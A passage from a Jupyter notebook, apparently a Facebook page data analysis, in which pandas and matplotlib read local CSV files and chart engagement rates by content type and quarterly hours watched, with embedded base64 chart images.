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\n", + "text/plain": [ + "
" + ] + }, + "metadata": {}, + "output_type": "display_data" + } + ], + "source": [ + "import matplotlib.pyplot as plt\n", + "import pandas as pd\n", + "import numpy as np\n", + "\n", + "stats = pd.read_csv(\"D:\\DataScience\\Facebook Data Analysis\\FB18.csv\", header=0, sep=\",\")\n", + "print(\"Table :\\n\")\n", + "print(stats)\n", + "\n", + "df = pd.DataFrame(stats)\n", + "x = list(df.iloc[:, 0])\n", + "y = list(df.iloc[:, 1])\n", + "\n", + "plt.figure(figsize=(7,5))\n", + "plt.xlabel(\"Facebook page content types\")\n", + "plt.pie(y, labels=x)\n", + "plt.show()" + ] + }, + { + "cell_type": "code", + "execution_count": 16, + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Table :\n", + "\n", + " Content type Post engagement rate\n", + "0 Total 0.11\n", + "1 Photos 0.18\n", + "2 Videos 0.13\n", + "3 Links 0.05\n", + "4 Status 0.19\n" + ] + }, + { + "data": { + "image/png": "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\n", + "text/plain": [ + "
" + ] + }, + "metadata": { + "needs_background": "light" + }, + "output_type": "display_data" + } + ], + "source": [ + "import matplotlib.pyplot as plt\n", + "import pandas as pd\n", + "import numpy as np\n", + "\n", + "stats = pd.read_csv(\"D:\\DataScience\\Facebook Data Analysis\\FB20.csv\", header=0, sep=\",\")\n", + "print(\"Table :\\n\")\n", + "print(stats)\n", + "\n", + "df = pd.DataFrame(stats)\n", + "x = list(df.iloc[:, 0])\n", + "y = list(df.iloc[:, 1])\n", + "\n", + "plt.title(\"Facebook page engagement by content type\")\n", + "plt.ylabel(\"Content type\")\n", + "plt.xlabel(\"Post engagement rate\")\n", + "plt.grid(axis='x', color='r')\n", + "plt.barh(x,y,color='b')\n", + "plt.show()" + ] + }, + { + "cell_type": "code", + "execution_count": 20, + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Table :\n", + "\n", + " Quarter Hours watched(millions)\n", + "0 Q1 2019 165\n", + "1 Q2 2019 198\n", + "2 Q3 2019 269\n", + "3 Q4 2019 460\n", + "4 Q1 2020 554\n", + "5 Q2 2020 830\n", + "6 Q3 2020 815\n", + "7 Q4 2020 901\n" + ] + }, + { + "data": { + "image/png": 